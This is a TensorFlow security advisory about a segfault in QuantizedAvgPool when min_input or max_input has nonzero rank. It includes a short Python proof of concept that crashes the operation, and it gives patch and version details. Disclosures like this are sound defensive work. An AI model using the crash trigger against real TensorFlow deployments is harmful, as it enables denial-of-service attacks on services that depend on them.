GHSA-4w68-4x85-mjj9

Impact

If QuantizedAvgPool is given min_input or max_input tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

ksize = [1, 2, 2, 1]
strides = [1, 2, 2, 1]
padding = "SAME"
input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8)
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding)

Patches

We have patched the issue in GitHub commit 7cdf9d4d2083b739ec81cfdace546b0c99f50622.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

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Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.